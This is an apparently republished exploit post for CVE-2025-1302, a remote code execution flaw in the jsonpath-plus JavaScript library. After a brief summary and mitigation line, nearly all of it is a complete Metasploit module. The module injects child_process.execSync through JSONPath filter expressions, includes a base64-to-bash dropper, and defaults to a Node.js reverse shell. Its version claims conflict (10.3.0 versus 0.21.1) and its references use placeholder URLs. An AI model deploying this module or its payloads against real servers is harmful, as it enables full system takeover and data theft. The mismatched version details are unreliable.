JSONPath Plus RCE is a critical vulnerability in the `jsonpath-plus` JSONPath Plus RCE is a critical vulnerability in the `jsonpath-plus` JavaScript library.
It enables Remote Code Execution (RCE).
This occurs when applications process untrusted JSONPath expressions.
Specifically, malicious JavaScript injected into filter expressions (`[?(...)`)
is evaluated by the library's internal mechanisms.
This allows arbitrary code execution on the server hosting the application.
The impact is severe: full system compromise, data theft, or further attacks.
Applications parsing untrusted input are vulnerable.
Mitigation: update the `jsonpath-plus` library to a patched version
or strictly sanitize all user-supplied JSONPath input.
=============================================================================================================================================
| # Title : JSONPath Plus < 10.3.0 Remote Code Execution Exploitation Framework |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://github.com/JSONPath-Plus/JSONPath |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/212004/ & CVE-2025-1302
[+] Summary :
CVE-2025-1302 is a critical remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0.
The vulnerability allows attackers to execute arbitrary JavaScript code through maliciously crafted JSONPath expressions, leading to complete system compromise.
The vulnerability exists in the JSONPath expression parser where user input is improperly sanitized before being evaluated as JavaScript code. Attackers can exploit constructor properties to break out of the JSONPath context and execute arbitrary system commands.
[+] POC :
##
# Module: exploit/multi/http/jsonpath_plus_rce
# Version: 1.0
# Author: indoushka
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'JSONPath Plus RCE (CVE-2025-1302)',
'Description' => %q{
This module exploits a remote code execution vulnerability in JSONPath Plus
library versions prior to 0.21.1. The vulnerability allows arbitrary JavaScript
code execution through malicious JSONPath expressions.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-1302'],
['URL', 'https://github.com/JSONPath-Plus/JSONPath/issues/XXX'],
['URL', 'https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-XXX']
],
'DisclosureDate' => '2025-11-26',
'Platform' => ['nodejs', 'unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_NODEJS, ARCH_X64, ARCH_X86],
'Payload' => {'BadChars' => '', 'Space' => 8192},
'Targets' => [
['Automatic', {}],
['Node.js', {'Arch' => ARCH_NODEJS, 'Platform' => 'nodejs'}],
['Unix Command', {'Arch' => ARCH_CMD, 'Platform' => 'unix'}],
['Linux Dropper', {'Arch' => [ARCH_X64, ARCH_X86], 'Platform' => 'linux'}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 3000,
'PAYLOAD' => 'nodejs/shell_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
OptString.new('TARGETURI', [true, 'The base path to the vulnerable endpoint', '/']),
OptEnum.new('METHOD', [true, 'HTTP method to use', 'AUTO', ['POST', 'GET', 'AUTO']]),
OptBool.new('NO_FALLBACK', [false, 'Disable GET fallback', false]),
OptInt.new('DELAY', [false, 'Delay before exploitation (seconds)', 0]),
OptString.new('PAYLOAD_FILE', [false, 'Path to custom payload file']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false])
])
register_advanced_options([
OptString.new('CustomPayload', [false, 'Custom JSONPath payload']),
OptBool.new('DebugRequests', [false, 'Debug HTTP requests/responses', false])
])
end
def check
test_payload = '$[?(@.constructor.constructor("return process.version")())]'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => { 'path' => test_payload }.to_json
})
return CheckCode::Unknown('No response from target') unless res
if res.body.include?('v') && res.body =~ /\d+\.\d+\.\d+/
return CheckCode::Appears("Node.js version detected: #{res.body}")
end
CheckCode::Safe
end
def exploit
print_status("Starting exploitation for CVE-2025-1302")
# Apply delay if specified
if datastore['DELAY'] > 0
print_status("Delaying #{datastore['DELAY']} seconds before exploitation...")
delay_progress(datastore['DELAY'])
end
# Determine payload based on target
payload = generate_payload
print_status("Generated payload: #{payload[0..100]}...") if datastore['VERBOSE']
# Execute exploitation
case target['Platform']
when 'nodejs'
exploit_nodejs(payload)
when 'unix'
exploit_unix(payload)
when 'linux'
exploit_linux(payload)
else
exploit_auto(payload)
end
end
def generate_payload
if datastore['CustomPayload']
return datastore['CustomPayload']
end
case target['Platform']
when 'nodejs'
generate_nodejs_payload
when 'unix', 'linux'
generate_cmd_payload
else
# Auto-detect based on selected payload
if payload_instance.name.include?('nodejs')
generate_nodejs_payload
else
generate_cmd_payload
end
end
end
def generate_nodejs_payload
cmd = payload.encoded
# Escape for JavaScript string
escaped_cmd = cmd.gsub('"', '\"').gsub("'", "\\'")
%Q{$[?(@.constructor.constructor("require('child_process').execSync('#{escaped_cmd}')")())]}
end
def generate_cmd_payload
case target['Platform']
when 'unix'
cmd = payload.encoded
%Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]}
when 'linux'
# For Linux dropper, we need a different approach
%Q{$[?(@.constructor.constructor("require('child_process').execSync('bash -c \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | bash')")())]}
else
generate_nodejs_payload
end
end
def exploit_auto(payload_str)
method = datastore['NO_FALLBACK'] ? 'POST' : datastore['METHOD']
case method
when 'POST'
send_post_request(payload_str)
when 'GET'
send_get_request(payload_str)
when 'AUTO'
exploit_with_fallback(payload_str)
end
end
def exploit_with_fallback(payload_str)
print_status("Attempting POST request...")
res = send_post_request(payload_str)
if res && (res.code < 400)
print_good("POST request successful")
return true
end
print_status("POST failed, falling back to GET...")
res = send_get_request(payload_str)
if res && (res.code < 400)
print_good("GET request successful")
return true
end
fail_with(Failure::Unknown, "Both POST and GET methods failed")
end
def send_post_request(payload_str)
data = { 'path' => payload_str }.to_json
print_status("Sending POST request with payload") if datastore['VERBOSE']
debug_request('POST', data) if datastore['DebugRequests']
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => data
}, datastore['HTTP_TIMEOUT'] || 10)
debug_response(res) if datastore['DebugRequests'] && res
handle_response(res, 'POST')
end
def send_get_request(payload_str)
print_status("Sending GET request with payload") if datastore['VERBOSE']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'path' => payload_str }
}, datastore['HTTP_TIMEOUT'] || 10)
debug_response(res) if datastore['DebugRequests'] && res
handle_response(res, 'GET')
end
def handle_response(res, method)
unless res
print_error("#{method} request failed - no response")
return nil
end
if datastore['VERBOSE']
print_status("#{method} Response: Code=#{res.code}, Body=#{res.body[0..200]}...")
end
if res.code >= 400
print_error("#{method} request failed with code #{res.code}")
return nil
end
res
end
def exploit_nodejs(payload_str)
print_status("Exploiting Node.js target...")
exploit_auto(payload_str)
# For Node.js payloads, we need to handle the session differently
if payload_instance.respond_to?(:handle_connection)
handler
end
end
def exploit_unix(payload_str)
print_status("Exploiting Unix command target...")
exploit_auto(payload_str)
end
def exploit_linux(payload_str)
print_status("Exploiting Linux target with dropper...")
# Use cmd stager for Linux targets
execute_cmdstager({
:linemax => 8000,
:nodelete => true
})
end
def execute_command(cmd, opts = {})
payload_str = %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]}
exploit_auto(payload_str)
end
def delay_progress(seconds)
return if seconds <= 0
print_status("Waiting #{seconds} seconds...")
1.upto(seconds) do |i|
print_status("Delay: #{i}/#{seconds}") if i % 5 == 0 || i <= 3
sleep(1)
end
end
def debug_request(method, data)
print_status("[DEBUG #{Time.now.utc.iso8601}] #{method} Request:")
print_status("Data: #{data}")
end
def debug_response(res)
return unless res
print_status("[DEBUG #{Time.now.utc.iso8601}] Response:")
print_status("Status: #{res.code}")
print_status("Headers: #{res.headers}")
print_status("Body: #{res.body}")
end
def load_custom_payloads(file_path)
return [] unless File.exist?(file_path)
payloads = []
File.readlines(file_path).each do |line|
next if line.strip.empty?
payloads << line.strip
end
payloads
end
end
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
JSONPath Plus Remote Code Execution
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 148